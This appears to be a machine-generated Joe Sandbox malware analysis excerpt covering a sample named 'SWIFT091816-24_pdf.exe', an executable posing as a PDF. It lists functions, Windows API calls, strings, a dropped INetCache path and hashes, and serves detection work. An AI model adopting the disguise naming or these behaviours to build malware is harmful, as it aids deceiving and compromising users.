Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,0000046C,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,?,?,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,?,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,?,?,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,?,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,?,?,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,?), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,?), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,?), ref: 004054F1
ShowWindow.USER32(?), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704
Call, xrefs: 00404715, 0040471A, 00404725

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-3131679198
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(?,00000000,00000000), ref: 0040451D

Strings

Call, xrefs: 00404493
N, xrefs: 00404452
open, xrefs: 004044C5
-B@, xrefs: 004044C2

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
